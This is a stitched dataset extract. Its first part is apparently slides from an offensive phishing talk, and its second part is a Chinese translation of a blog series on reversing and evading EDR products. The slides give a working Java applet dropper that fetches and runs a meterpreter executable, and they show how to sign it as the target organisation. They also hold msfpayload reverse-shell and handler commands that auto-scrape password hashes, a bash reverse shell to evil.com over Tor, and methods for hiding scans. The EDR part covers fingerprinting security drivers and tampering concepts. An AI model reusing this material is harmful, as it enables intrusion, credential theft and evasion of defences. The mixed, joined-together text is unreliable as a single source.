do by hand\n– Colin RE’d the PDF file format\nSlide: 32\nFile Infection\n• Adobe_basic_social_engineering.rb \nruby script for infection\n– Metasploit module\n– Select a PDF to infect\n– Pass file to module\n– Output infected PDF\n– Other tools generate blank\nSlide: 33\nPDF Defiler\n• Demo PDF Parser\n• Demo PDF Infector\nSlide: 34\nWeb Phishing\nThese are the detailed mechanics of how to do this type of work\nSlide: 35\nWeb Phishing\n• Direct targets to your website\n• Enumerate the target using web app\n• Socially engineer the target into believing everything \nis “ok”\n• Execute code on the target via SE, applet, exploit, \netc.\n• Handle incoming access from target\n• Automate post exploitation activities\n• Use a reliable framework\nSlide: 36\nWeb Phishing\n• Components\n– Target Sieve\n• OS detection\n• IP detection\n• Browser detection\n• Decision making\n– Decloaking\n– Signed Java Applets\n• Fake certificate to targets org\n– Social Engineering Attack\n– Obfuscation\nSlide: 37\nGENERAL FRAMEWORK\nSlide: 38\nWeb Phishing Sieve\n• These are examples we are providing\n• Could be done many (better) ways\ngenHeader()\nGenerate header, noscript to \ntest JS\nipCheck()\nGet target IP and compare to \nscope\njavaCheck()\nVerify java is enabled\nosDetect()\nDetermine the operating system \ntype\nbrowserDetect()\nDetermine the browser in use\njsDecloakIP()\nGet natted / internal IP using \njavascript\njapdip()\nGet natted / internal IP using \njavapplet\nLogger()\nLog captured info to a file\nSlide: 39\nGENERATE A HTTP PAGE HEADER\nSlide: 40\nWeb Phishing Sieve\nfunction genHeader() {\n echo \"<html>\";\n echo \"<body>\";\n echo \"<noscript>\";\n echo \"<meta httpequiv=\\\"refresh\\\" \ncontent=\\\"0;url=$bounceurl\\\">\";\n echo \"</noscript>\";\n} // end genHeader\nSlide: 41\nVERIFY TARGET IP IS IN SCOPE\nSlide: 42\nWeb Phishing Sieve\nfunction ipCheck($target_ip) {\n $scopeIPflag = 0;\n if ((preg_match(\"/$firstRange/\",$target_ip, $matches)) ||\n (preg_match(\"/$sndRange/\",$target_ip, $matches))) {\n $scopeIPflag = 1;\n } // end if\n else {\n $scopeIPflag = 0;\n } // end else\n return $scopeIPflag;\n} // end ipCheck\nSlide: 43\nVERIFY JAVA INSTALL\nSlide: 44\nWeb Phishing Sieve\nfunction javaCheck() {\n echo \"<script language=javascript>\";\n echo 'if (navigator.javaEnabled()) { }';\n echo 'else { document.write(\"No \nJAVA\"); window.location = \n\"http://blog.attackresearch.com\"; }';\n echo \"</script>\";\n} // end javaCheck\nSlide: 45\nOS DETECTION\nSlide: 46\nWeb Phishing Sieve\nfunction osDetect($useragent) {\n // Check for windows, and send to windows page\n if (preg_match(\"/Windows/\", $useragent,$winmatched)) {\n $ostype = \"win\";\n } // end windows check\n // Check for linux, and send to linux page\n elseif (preg_match(\"/Linux/\", $useragent,$linmatched)) {\n $ostype = \"linux\";\n } // end linux check\n // Check for mac, and send to mac page\n elseif (preg_match(\"/Macintosh/\", $useragent,$macmatched)) {\n $ostype = \"mac\";\n } // end mac\n else {\n $ostype = \"unknown\";\n } // end else\n return $ostype;\n} // end osDetect\nSlide: 47\nGATHER BROWSER INFO\nSlide: 48\nWeb Phishing Sieve\nfunction browserDetect($useragent) {\n // Check for firefox\n if (preg_match(\"/Firefox/\", $useragent,\n$winmatched)) {\n $browsertype = \"ff\";\n } // end ff check\n // Check for IE\n elseif (preg_match(\"/MSIE/\", \n$useragent,$winmatched)) {\n $browsertype = \"ie\";\n } // end ie check\n // Check for safari\n elseif (preg_match(\"/Safari/\", \n$useragent,$winmatched)) {\n $browsertype = \"safari\";\n } // end safari check\n // Check for opera\n elseif \n(preg_match(\"/Opera/\", \n$useragent,$winmatched)) {\n $browsertype = \n\"opera\";\n } // end opera check\n // Browser Unknown\n else {\n $browsertype = \n\"unknown\";\n } // end unknown check\n return $browsertype;\n} // end browserDetect\nSlide: 49\nGET TARGET’S INTERAL IP VIA JS\nSlide: 50\nWeb Phishing Sieve\nfunction jsDecloakIP() {\necho '<script type=\"text/javascript\">';\necho 'function natIP() {';\necho ' var w = window.location;';\necho ' var host = w.host;';\necho ' var port = w.port || 80;';\necho ' var Socket = (new \njava.net.Socket(host,port)).getLocalAddress().getHostAddress();';\necho ' return Socket;';\necho '}';\necho '</script>';\necho '<script language=javascript>';\necho 'realIP = natIP();';\necho 'document.location.href=\"sieve.php?dip=\"+realIP;';\necho '</script>';\n} // end jsDecloakIP\nSlide: 51\nGET INTERAL IP VIA JAVA APPLET\nSlide: 52\nWeb Phishing Sieve\nfunction japdip() {\necho '<APPLET code=\"MyAddress.class\" archive=\"MyAddress.gif\" \nWIDTH=500 HEIGHT=14>';\necho '<PARAM NAME=\"URL\" VALUE=\"sieve.php?japdip=\">';\necho '<PARAM NAME=\"ACTION\" VALUE=\"AUTO\">';\necho '</APPLET>';\n} // japdip\nCheck out: http://www.reglos.de/myaddress/MyAddress.html for info about the \nclass file.\nSlide: 53\nLOG ALL RELEVANT INFORMATION\nSlide: 54\nWeb Phishing Sieve\nfunction logger($target_ip,$dip,$ost,$bt,$sipf,$hitdate) {\n $nl = \"\\n\";\n $delim = \"|\";\n $data = $target_ip . $delim . $dip . \n $delim . $ost . $delim . $bt . $delim . $sipf . $delim . $hitdate . $nl;\n $outFile = \"clientlog.txt\";\n $fh = fopen($outFile, 'a') or die (\"cant open logfile\");\n fwrite($fh,$data);\n fclose($fh);\n} // end logger\nSlide: 55\nDEMO\nExample Page\nNormally you wouldn’t \ndisplay output\nShows all the target \nacquired data\nSlide: 56\nWeb Phishing\nSocial Engineering\n• Java Applet for distributing and executing \nmeterpreter\n• Client hits page\n• Java applet window pops up\n• Client hits “Run”\n• Applet causes client to \n– (in the background) \n– download meterpreter executable from your site\n• Applet executes meterpreter\n• Meterpreter sends reverse shell to your server\nSlide: 57\nWeb Phishing – Dropper/Exec\nimport java.applet.Applet;\nimport java.io.*;\nimport java.net.*;\nimport java.io.IOException;\npublic class WebDispApp extends Applet {\npublic WebDispApp() { }\npublic void init() { downloadURL(); cmd();\n} /* end public void init */\npublic void downloadURL() {\nOutputStream out = null;\nURLConnection conn = null;\nInputStream in = null;\ntry {\n URL url = new \nURL(\"http://192.168.1.1/data/win/met.exe\");\n out = new BufferedOutputStream(\n new FileOutputStream(\"c:\\\\met.exe\"));\n conn = url.openConnection();\n in = conn.getInputStream();\n byte[] buffer = new byte[1024];\n int numRead;\n long numWritten = 0;\n while ((numRead = in.read(buffer)) != 1) {\n out.write(buffer, 0, numRead);\n numWritten += numRead;\n } /* end while */\n} /* end try */\ncatch (Exception exception) {\n exception.printStackTrace();\n} /* end catch */\nfinally {\n try {\n if (in != null) {\n in.close();\n } /* end if */\n if (out != null) {\n out.close();\n } /* end if */\n } /* end try */\n catch (IOException ioe) { }\n} /* end finally */\n} /* end public void downloadURL */\npublic void cmd() {\n Process process;\n try {\n process = \nRuntime.getRuntime().exec(\"cmd.exe /c c:\\\\met.exe\");\n } /* end try */\n catch(IOException ioexception) { }\n} /* end public void cmd */\n} /* end public class */\nSlide: 58\nWeb Phishing – Dropper/Exec\n• How to make it deadly?\n• Use cryptographically signed java applet\n– Sign it as your target\n– User reads the cert and trusts it (usually)\n– So many sites have invalid certs users don’t even \nnotice anymore\n• Change up filenames / code to reflect targets \napplication infrastructure\n– If they use wordpress, use wordpress sounding file \nnames for example\nSlide: 59\nWeb Phishing – Dropper/Exec\n•\nCompile the applet: \n–\njavac MetaPhish.java\n•\nGenerate a class file: \n–\njar cf MetaPhish.jar MetaPhish.class\n•\nBuild a ketystore and set the passwords / organization name: \n–\nkeytool genkey alias signFiles keystore msfkeystore storepass msfstorepass dname \"cn=The \nTargets Org\" keypass msfkeypass\n•\nSign the files and create a “secured” jar: \n–\njarsigner keystore msfkeystore storepass msfstorepass keypass msfkeypass signedjar \nsMetaPhish.jar MetaPhish.jar signFiles\n•\nCreate the certificate: \n–\nkeytool export keystore msfkeystore storepass msfstorepass alias signFiles file \nMetaPhishLLC.cer\n•\nImport the certificate: \n–\nkeytool import alias company file MetaPhishLLC.cer keystore msfkeystore storepass \nmsfstorepass\nSlide: 60\nWeb Phishing – Dropper/Exec\n• You will now have a collection of files:\n– MetaPhish.class * Compiled Java \n– MetaPhish.jar \n* Compressed class\n– MetaPhish.java\n* Source code\n– MetaPhishLLC.cer\n* Certificate\n– msfkeystore\n* Key store\n– sMetaPhish.jar\n* Signed Jar\n– windex.html\n* malicious web page\nSlide: 61\nWeb Phishing – Dropper/Exec\n• Web code to execute the applet:\n<html>\n<body>\n<APPLET code=\"MetaPhish.class\" \narchive=\"sMetaPhish.jar\" width=\"1\" \nheight=\"1\"></APPLET>\n</body>\n</html>\n• Put this in an IFRAME with valid web site \nto trick the target\nSlide: 62\nWeb Phishing – Dropper/Exec\n• Victim receives message \nbox\n• Digital Signature will \nappear to have the \n“trusted” information\n• Many users will run this\n• Basically Social \nEngineering / Targeted \nPhishing\nSlide: 63\nAutomation\nSlide: 64\nMSF MultiHandler / Automation\n• Need to be able to handle n incoming \nsessions\n• Need to be able to automate functions\n– Acquire passwords\n– Add users\n– Upload 2nd stage persistence backdoor\n– Registry / stored info\n• Need to use firewall allowed egress ports\nSlide: 65\nMSF MultiHandler / Automation\n• Create a stand alone meterpreter binary for \nwindows:\n– Use the reverse connection assuming there is a \nfirewall\n– Set your IP, should be directly internet accessible\n– Set the port to receive incoming sessions, directly \ninternet accessible\n– Set the output name of the executable, for covertness \nset something targeted\n• ./msfpayload windows/meterpreter/reverse_tcp \nLHOST=192.168.0.34 LPORT=8000 R | \n./msfencode -b '' -t exe -o meterpreter.exe\nSlide: 66\nMSF MultiHandler / Automation\n• Run metasploit ./msfconsole\n• Set MSF parameters to match the meterp\n– msf > use exploit/multi/handler\n– msf exploit(handler) > set \nExitOnSession false\n– msf exploit(handler) > set PAYLOAD \nwindows/meterpreter/reverse_tcp\n– msf exploit(handler) > set LHOST \n192.168.0.34\n– msf exploit(handler) > set LPORT 8000\nSlide: 67\nMSF MultiHandler / Automation\n• Setup automation script and set MSF in \nmultihandling mode\n– msf exploit(handler) > set \nAutoRunScript ./PhishScrape.rb\n– msf exploit(handler) > exploit –j\n• You can use any script you want, we are \nproviding an example\nSlide: 68\nMSF MultiHandler / Automation\n• Deploy the meterpreter to your target using \nwhatever means\n– Infected PDF / files\n– Malicious website\n• Exploit\n• Java Applet\n– Exploits\n– Email it directly\nSlide: 69\nMSF MultiHandler / Automation\n• Watch for:\n– [*] Transmitting intermediate stager \nfor over-sized stage...(191 bytes)\n• You have successfully compromised a \ntarget!\n– Many targets may come in at once\n– To list your sessions do:\n• sessions –l\n• Then you can use standard meterpreter \ncommands\nSlide: 70\nMSF MultiHandler / Automation\n• An automated scrapper will run on \neach target \n• Will gather info automatically and \nplace it in ~/.msf3/logs/scraper\n• Each compromised target will \ngenerate a dir\n–ipaddress_data_timestamp\nSlide: 71\nMSF MultiHandler / Automation\n• The following information will be autoscraped:\n– env.txt\n# System environment\n– group.txt\n# Domain group info\n– hashes.txt # Crackable password hashes\n– localgroup.txt\n# local group memberships\n– nethood.txt\n# network neighborhood info\n– network.txt\n# detail networking info of target\n– services.txt\n# running services (look for AV)\n– shares.txt # Any shared directories\n– system.txt # operating system info\n– users.txt\n# local user account names\n• Take a look at DarkOperator’s scripts for more ideas: \nhttp://www.darkoperator.com/ \nSlide: 72\nMetaphish\n• Demo\nSlide: 73\nSlide: 74\nWho do you want to be today?\nAbusing Tor\nSlide: 75\nButton, button, who's got the button\n When using tor, normally the exit node is random\n It is possible to define an exit node, or group of exit \nnodes\n Nice for viewing content that is blocked by country\n Way to cover tracks\n Easy to hide in the evil that is tor\n Avoid using an exit node in the target country when \npossible\n− Target country can collect node for forensics\nSlide: 76\nWhere am I again?\n Theoretically you can just specify a country \ncode in the tor_rc file. \n Never seen it work correctly\n Documented not to work in many news groups\n Nice to pop out of just one or two nodes if \nrunning scans and such\n Easy to change, can even have many configs \nwith different exit nodes, and periodically \nchange\nSlide: 77\nWho's who\n Vidalia is an easy way to manage tor, here \nwe are looking at potential tor exit nodes\nSlide: 78\nWho's who\n Selecting Nodes Through Vidalia\n When selecting exit nodes, it is important to \nmake sure they have somewhat unique names\n− Unnamed is a common node name, it should be \navoided\n Now create a new file that will be the tor config\n− Add the following lines\nExitNodes list,of,nodes\nStrictExitNodes 1\nSlide: 79\nWho's who\n There are also webpages that will provide tor nodes\n https://torstatus.blutmagie.de/\n Here it is possible to click on a node, and retrieve a \nfinger print\n− Add a dollar to the front, and get rid of the spaces. Then these \ncan be used as tor exit nodes\n Unnamed: 46D0 5072 0DE9 D59E 6C22 D970 453B E287 C03F \nCE9B \n $46D050720DE9D59E6C22D970453BE287C03FCE9B \n→\n− All these nodes may not be active at any given time, so grab a \nlot\n− Now unnamed will work great, names do not matter\nSlide: 80\nhttps://torstatus.blutmagie.de/\nSlide: 81\nWho's who\n In Vidalia, you must point at the new config \nfile\n Stop TOR\n Open settings\n− Advanced\n− And point to the new config file\nSlide: 82\nWhat do I have?\n Privoxy\n HTTP Proxy on port 8118 (by default)\n Cleans/denies pages that may unintentionally reveal \nprivate IP when viewed in browser\n Commonly configured to talk to tor's socks proxy\n TOR\n Full socks 5 proxy on port 9050\n Vidalia \n Gui interface to control tor\nSlide: 83\nIt'll fit\n As it turns out, with a bit of creative patchwork, just \nabout any TCP connection can go over tor\n There are a couple major programs in Linux that can really \nmake TOR useful\n− Proxychains\n torsocks\n− Tsocks\n These programs are designed to hook the socket calls of a \nprogram, and send them over the proxy\n When using these, always use IP, DNS can potentially leak\n Never run as root, root has higher privilege\n If one fails, try the other\nSlide: 84\nI want to proxy\n Setting up proxychains\n In /etc/proxychains.conf\n− Comment out random_chain, chain_len, and example proxies\n− Uncomment or add dynamic_chain\n− At the bottom add a socks 5 proxy for TOR\n socks5 127.0.0.1 9050\n− Depending on path and target, the following values will need \nto be messed with\n tcp_read_time_out\n tcp_connect_time_out\n The bigger these are the more likely they will get the right port, \nbut they may run into other problems, like slow scans, or more \nfalse positive scans\nSlide: 85\nI want to proxy\n Setting up tsocks\n In /etc/tsocks make sure the following lines are \ncorrect\n− Server = 127.0.0.1\n# TOR host, usually local\n− server_type = 5\n# Socks4/5, usually 5\n− server_port = 9050\n# tor port, default 9050\nSlide: 86\nI want to proxy\n•\nTorsocks \n–\nBasically set up for you when built from \nsource\n–\nTOR friendly replacement for tsocks\nSlide: 87\nLets give'r a go\n Lets try nmap over tor\n Timeouts become problematic\n Different exit nodes have different policies, and may \nstop parts of the scan\n The results are less than accurate, but provide a good \nplace to start\n Requires a lot of time, and a lot of tweaking, but better \nthan flying to another country (sometimes)\n Do not run UDP, name lookup, ping, or any scans \nrequiring root\nSlide: 88\nLets give'r a go\nuser@userlaptop:~/tor_rc$ proxychains nmap n PN p 80,22,443 192.1.167.74\nStarting Nmap 4.76 ( http://nmap.org ) at 20090525 09:41 MDT\nProxyChains2.1 (http://proxychains.sf.net)\ndynamic chain:....127.0.0.1:9050....access denied to..192.1.167.74:443\ndynamic chain:....127.0.0.1:9050....access denied to..192.1.167.74:443\n…\nuser@userlaptop:~/tor_rc$ proxychains nmap n A PN p 80,22 192.1.167.74\nStarting Nmap 4.76 ( http://nmap.org ) at 20090525 09:42 MDT\nProxyChains2.1 (http://proxychains.sf.net)\ndynamic chain:....127.0.0.1:9050....192.1.167.74:22..OK\ndynamic chain:....127.0.0.1:9050....192.1.167.74:80..OK\ndynamic chain:....127.0.0.1:9050....192.1.167.74:22..OK\ndynamic chain:....127.0.0.1:9050....192.1.167.74:80..OK\n...\nPORT STATE SERVICE VERSION\n22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)\n80/tcp open http Apache httpd\nService Info: OS: Linux\nSlide: 89\nLets give'r a go\nSlide: 90\nLets get a bit deeper\n Here will run Nikto over tor. \n Nikto has a proxy option\n− This is a full HTTP proxy, not socks\n− This can be used with Privoxy\n− Privoxy will end up messing with results, making it \nless than useful\n Instead running Nikto over tsocks works much \nbetter\nSlide: 91\nLets get a bit deeper\nuser@userlaptop:~/$ proxychains nikto host blog.attackresearch.com 192.1.167.74\n Nikto v2.03/2.04\n\nProxyChains2.1 (http://proxychains.sf.net)\ndynamic chain:....127.0.0.1:9050....192.1.167.74:80..OK\n+ Target IP: 192.1.167.74\n+ Target Hostname: blog.attackresearch.com\n+ Target Port: 80\n+ Start Time: 20090526 10:12:46\n\n+ Server: Apache\ndynamic chain:....127.0.0.1:9050....192.1.167.74:80..OK\n...\n /robots.txt contains 40 'disallow' entries which should be manually viewed. (GET)\ndynamic chain:....127.0.0.1:9050....192.1.167.74:80..OK\n+ OSVDB0: Retrieved XPoweredBy header: PHP/5.2.42ubuntu5.4\ndynamic chain:....127.0.0.1:9050....192.1.167.74:80..OK\n+ OSVDB0: ETag header found on server, inode: 131801, size: 1820, mtime: 0x462ed49df8840\n...\n+ 3577 items checked: 32 item(s) reported on remote host\n+ End Time: 20090526 15:07:00 (17654 seconds)\n\n+ 1 host(s) tested\nTest Options: host blog.attackresearch.com 192.1.167.74\n\nSlide: 92\nWhat the heck, I'll eat the whole cow\n Lets say there is a VPN at a remote site. It is a \nTCP based VPN like PPTP\n With some creative combinations of port redirection, \nand tsock/proxychains we can VPN over TOR\n− This will not be very reliable\n− Timeout can kill the connection\n Using tcpxd on one host we can setup \n− tsocks tcpxd 1723 ip.of.target 1723\n− Now have a second machine PPTP into the first\nSlide: 93\nMetasploit and TOR\n•\nA couple of possibilities\n–\nUse Torsocks\n–\nEasier to do it in metssploit\n•\nsetg Proxies SOCKS4:localhost:<torport>\n–\nBoth methods are restricted to Connect \nShells\n–\nBoth are restricted to TCP\n–\nAlways try and use IP to avoid \nunintended leakage\nSlide: 94\nDemo\nSlide: 95\nCan they call me anonymously?\n Sure, TOR uses .onion domains in order to \ntalk to anonymous servers on the TOR \nnetwork\n Normally requires TOR on both sides\n Can we shell to a .onion?\n− Sure, through tsocks, privoxy, or even wget\n Can you tell what country a .onion is in?\n− Currently no, there have been problems found in \nTOR in the past, but they are fairly quick to patch\nSlide: 96\nShelling Bash Over TOR\n• TOR is installed on target with torsocks\n– Simplest case, a netcat listener, and using \nbuilt in bash commands\n– Setting up the server\n•\nIn the torrc file, add the following lines\n–\nHiddenServiceDir /my/service/dir/\n–\nHiddenServicePort <portfortor> 127.0.0.1:<listenport>\n•\nNow star netcat on <listenport>\n–\nnc l p <listenport>\nSlide: 97\nShelling Bash Over TOR\n•\nNow on the target\n–\nWith Netcat\n•\ntorsocks nc e /bin/bash <hostname.onion> \n<torport>\n–\n<hostname.onion> is in the servers service dir \nin a file called hostname\n–\nWithout Netcat\n•\ntorsocks /bin/bash\n•\nexec 5<>/dev/tcp/evil.com/8080\n•\ncat <&5 | while read line; do $line 2>&5 >&5; done\nSlide: 98\nDo I have to install TOR on the target?\n Turns out no.\n There are web proxy's that give access into the TOR \nnetwork\n− www.torproxy.net Is one of many sites that lets a user \nbounce through them and then into TOR.\n Keep in mind, unfortunately they see all traffic, they won't know \nwhere the server is though\n http://torproxy.net/proxy/tor/browse.php?u=http%3A%2F\n%2Fslashdot.org%2F&b=14\n− We have created ProofofConcept shells using this method\n− Basically a modified HTTP/HTTPS Shell\nSlide: 99\nThe torproxy.net Backdoor\n•\nBenefits\n–\nNo need for to on the client\n–\nCan't tell who the server belongs to\n–\nCan do https\n•\nDownfalls\n–\ntorproxy.net can read all the traffic\n–\nAsynchronous, it can take a bit before \ncommand output\n–\nNot interactive\nSlide: 100\nDEMO\nSlide: 101\nTo Do (working on it)\n• Metasploit module that automatically \ngenerates the web apps / web server\n– Autogen’s the applet & meterpreter\n– Integrate with PDF infector module\n– Integrate postexploit automation scripts\n– Integrate with browser autopwn\n• 2nd stage HTTP Backdoor\n• More integration with TOR\nSlide: 102\nPhishTunnel\n• Demo everything over TOR\n– TOR backdoor communications\n– Metasploit over TOR\n– Metaphish concepts over TOR\nSlide: 103\nThanks!\n• #AR\nHD Moore\n• Rezen \n Dean De Beers\n• Cg\nDelchi\n• Snowchyld\negypt\n• Ed Skoudis\ntebo\n• !lso\ncarnal0wnage\n• Dragorn\nAnyone we forgot\n• Knicklighter\nfamousjs\n• Check out autopwn, egypt & Efrain Torres talks for \nawesome web p0wnage concepts and tools"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":62,"cells":{"text":{"kind":"string","value":"撤销和规避EDRs 指南\n一.简介\nEDR（Endpoint Detection Responser）端点态势感知和响应，用来针对APT攻击活动。\n本文属于翻译文章，原文这里:http://jackson-t.ca/edr-reversing-evading-01.html\n在我翻译之时，作者仅仅给出了前三部分，后面还未上线，如果作者发表了我会第一时间跟踪并分享给\n大家。\n指得一提的是\n1.个人语言能力较差，某处按照自己的理解难免有些画蛇添足，希望师傅们优先看原文。\n2.之前了解到EDR和AV不同之处就在于EDR专门针对APT的，具体细节没去了解。因此本系列是边学边\n了解。\n3.如有错误，欢迎指正；以免误导他人，推荐看原文。 比如有个地方 phone home确实无法理解，可\n能涉及到英文的俚语。面对技术，首先就要认真对待。之前的翻译有些太草率了，欢迎各位师傅一起交\n流学习！\n索引；\n第一部分：介绍\n第二部分：传感器侦察\n第三部分：转移EDR遥测到私有地址\n第四部分：融入 -- 即将到来\n第五部分：滥用盲点\n第六部分：篡改传感器\n第七部分：改变目的\n什么是遥测的？ Telemetry 就是在远程点收集的测量值或其他数据，并将其自动传输到接收设备\n以进行监视。\n二.第一部分\n介绍\n两个月前，我有幸私下出现了一次两小时谈话关于逆转和规避技术可以抽象为多种EDR产品。我收到了\n一些请求发布资料，因此我开始将此系列放到一起。\n这篇文章会比原始材料更淡化一点，因为我不能发布某些产品检测细节。相反，我会讨论我的某些基础\n想法和思考过程。\n目标听众是红队和攻击性开发人员，并且我认为防守也会受益。学习这些产品的细节可能是令人生畏\n的，令人有希望的是揭开神秘面纱都是在不懂的情况下。(兴趣是唯一的驱动力！)\n规避概念\n端点检测和响应（Endpoint Detection and Response）EDR 产品在执行检测/响应恶意行为期间监控\n程序。这是对传统AV功能的补充通过签名和启发式在执行之前阻止不想运行的程序。在EDR领域一些顶\n级厂商包括：Mcrosodt,CrowdStrike,Cylance,Carbon Black和FireEye.\n尽管规避技术是一个广义的术语，但是攻击者EDR的响应可以归为以下方面：\n1. 回避：近一步在未安装产品或者开启产品的系统上实现目标。（例如在未配置的端点，或者已经配\n置端点上通过代理流量。）\n2. 混合 :隐藏在EDR传感器通常记录的噪音中。（例如 使用常见的父子进程关系）。\n3. 滥用盲点：采用传感器没有捕获或报告的区域。（例如使用当前没有被记录的API，移除钩子，使\n用直接系统调用。）关于直接直接系统调用过EDR/AV 参考这篇文章：https://www.cnblogs.com/\nmacanpsc/p/11670257.html【强烈推荐】\n4. 篡改服务器：更改传感器行为以使攻击者收益（例如：修补传感器以便恶意行为不会被报告或者收\n集到。）\n问题陈述&主题\n为了检测EDR bypass技术的有效性，许多操作者都这样做，即在操作过程中是否被检测到。在攻击对\n和防守方这凸显了能见度不对等。如果不能通过遥测和检测查询，操纵员很难推断出成果绕过EDR或失\n败确切的技术原因。\n如果一名操作员能够获取独立的访问遥测传感器，这能够充当催化剂不但高效的检测bypass，而且能够\n发现新的盲点或者混合方式，并且验证遥测传感器的能力。\n在不断发展的贸易进攻中，我明白了这是基本步骤，以下将是研究的主题：\n逆向工程传感器，在不验证情况下获取访问遥感访问权限。\n使用遥感作为反馈回路，来发现盲点或者混合方式。\n探索一系列复杂的篡改技术，使传感器失效。\n重新调正传感器使传感器作为一个 RAT。(娱乐为主)\n在这个场景里面我描述建议的方法是搭建一个环境（安装EDR传感器）但是调整了传感器到自定义基础\n结构因此它不会phone home。这为A/B提供了机会测试那些行为是被拦截的并且确定混合或者发现盲\n点的选项。这项选项可以在传感器检测下被用来使用。当他们精疲力竭时，传感器篡改技术能够被用来\n代替使用连接或者事件报道静默侠下来。\n致谢\n今年，我没有细致的研究每一个EDR产品。首先实话讲，这个工作量是很大的。没有那些乐于分享知识\n的人倾囊相授我无法学习去做这些事情。下面是我读过相关的安全产品子版本列表：\nhttps://blog.dylan.codes/evading-sysmon-and-windows-event-logging/\nhttps://skylightcyber.com/2019/07/18/cylance-i-kill-you/\nhttps://d4stiny.github.io/Reading-Physical-Memory-using-Carbon-Black/\nhttps://www.mdsec.co.uk/2019/03/silencing-cylance-a-case-study-in-modern-edrs/\nhttps://dmaasland.github.io/posts/mcafee.html\nhttps://youtu.be/85H4RvPGIX4\nhttps://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon\nhttps://specterops.io/assets/resources/Subverting_Sysmon.pdf\nhttps://www.youtube.com/watch?v=l8nkXCOYQC4\nhttps://www.blackhat.com/docs/eu-17/materials/eu-17-Thompson-Red-Team-Techniques-For-Eva\nding-Bypassing-And-Disabling-MS-Advanced-Threat-Protection-And-Advanced-Threat-Analytics.p\ndf\n我也很感谢下面的人们所做的贡献，对本系列的反馈：幕府将军实验室，林肯和其他不知名人士。\n第二部分\n传感器侦察\n在这篇文章中，我打算复习下几个对理解EDR传感器和他们的配置文件有帮助的主题。大多数这些技术\n细节倾向于产品检测，没有案例供研究来显示具体的例子，限于公众的讨论它是有点模糊的。我希望这\n篇文章将提供一些点你能够扩展你自己的R&D过程。\n身份证明\n作为攻击者，当你攻入一个新的目标，首先最应做到事情之一就是寻找是否有AV/EDR在运行。你可以\n列出程序看看它们属于那些已知的产品，尽管它们也提供了选项来混淆程序名。\n相对简单的办法是到处转转，因为比起它们的进程名传感器会留下很多的痕迹。其他的例子包括服务\n名，命名管道或者trace sessions的属性，文件/注册表控件。这的确需要更多的分析但是也很容易混\n淆，如果供应商有这个倾向。\n通过微型分析（不太容易混淆），导入内核模式驱动的数字签名是产品痕迹的部分之一。一个调查模块\n能够写到枚举导入驱动模块，然后通过已知的产品签名者来验证它们的签名。下面是一个例子输出好像\n在一个系统上有FireEye 端点代理段在运行，通过Cobalt Striek的 BOF (Beacon Object File） 实施：\n点击这儿来查看这个框架代码。\nhttps://gist.github.com/jthuraisamy/4c4c751df09f83d3620013f5d370d3b9\n配置数据\n传感器配置可以被用来存储服务器开启或者关闭功能信息，疑难解答等详细级别。通常这些配置能够被\n发现在注册表上或者在一种文件格式例如文本文件(例如 INI，配置文件)或者二进制(例如 SQLite,专有)。\n一些传感器会加密存储数据或者混淆它们。如果你不确定特定的配置在哪，你可以考虑下面的选项：\n产品手册或者疑难解答文档，如果可以的话，可以直接知道配置信息是怎么被存储的以及存储在\n哪。有时可以从第二/第三方或者论坛帖子上发现有用的信息。\n一些产品已经有了诊断工具被用来评估传感器的状态。这个过程设计解析和导出配置信息。\n传感器采用动态静态相结合分析也可以提供帮助。（例如 检测配置被导入内存中并且它是如何吧\n被解析的。）\n当你着陆到一个目标上，你不但应该看看是否有传感器在跑着，还应该看看它是怎么配置的。你应该发\n现它是否收集到了尽可能多的东西，或者它是否设置了减少噪音。你还应该看看这儿有没有其他你可以\n安全地运行payloads的路径。对于传感器在线检测引擎，你可以检测它们是否被开启了，它被设置为什\n么可信度级别。\n调侃\nbeacon> inline-execute /home/ghost/get_loaded_security_drivers.o\n[*] Tasked beacon to inline-execute /home/ghost/get_loaded_security_drivers.o\n[+] host called home, sent: 1907 bytes\n[+] received output:\n\\systemroot\\system32\\drivers\\fekern.sys -> FireEye, Inc.\n传感器有选项倾向于更多的冗余日志针对于故障排除。这些设置通常在windows系统注册表上可以发\n现，对于其他的操作系统在配置文件中。某些文档案例如下：\nCarbon Black Response\nHKLM\\Software\\CarbonBlack\\config\\DebugLevel ⟶ 7\nHKLM\\Software\\CarbonBlack\\config\\KernelDebugLevel ⟶ 7\nCrowdStrike Falcon\nCylanceOPTICS\nTanium Client\n依赖于产品，除了在文档中列出的，还有很多选项，某些有助于通过ETW进行日志记录。近一步分析二\n进制在充实方面很有用。\n我已经在日志中发现的一些亮点：类名(为了更好的理解代码)，请求策略，HTTP 请求内容，人类可阅\n读的独立日志记录形式，在检测传感器盲点偶然的错误信息。\n调式字符串\n如果可以的话，调式字符串，对于快速的理解传感器的各个方面以及结构它们怎样实现功能是很有帮助\n的。它们可以保留在某些产品的二进制中，这可能是因为它们用于故障排除。\n下面的虚构例子中，产品会有很多的调用日志函数使用这样的结构：\n第二个参数通常是很有帮助的，因为在没有调式符号的情况下，它能够被用来恢复被调用的函数/类\n名。因此，通过为Ghidar写一个Python脚本，能够自动执行这个，从而更好的了解类结构。\nHKLM\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-\n48c9-a204-725362b67639}\\Default\\AFLAGS` ⟶ `03 00 00 00\nHKLM\\SOFTWARE\\Cylance\\Desktop\\LogLevel` ⟶ `3\nHKLM\\Software\\Wow6432Node\\Tanium\\Tanium Client\\LogVerbosityLevel` ⟶ `91\n// prototype\nvoid\nlogger(int log_level,\n char* function_name,\n char* file_name,\n char* format_str,\n ...);\n// example call\nlogger(3,\n \"EventLogger::VerifyConfigurationData\",\n \"EventLogger.cpp\",\n \"Config data cannot be found (User[%ls], System[%ls])\",\n L\"HKEY_CURRENT_USER\\\\Software\\\\FancyEDR\",\n L\"HKEY_LOCAL_MACHINE\\\\Software\\\\FancyEDR\");\n这是很不错的，因为它允许我们在一个更高的抽象层面推理代码进而加速这个反向过程。点击 here来\n阅读Ghidra脚本在github上。\n内核驱动\n许多产品在它们的传感器上包含一个内核驱动零件，它被用来从操作系统上收集遥测。它也能被用来其\n他的目的例如决策和发送遥测，但是它依赖于产品。在Windows上，驱动能够注册很少的收集遥测的回\n调函数。. @dotslashroot and @sbousseaden已经发布了它们怎么使用Sysmon。\n下面，在基于windows的传感器平添，你将看到一个高层级的遥测。在这个流上，如果一个用户启动了\n一个calc,这将触发一个回调 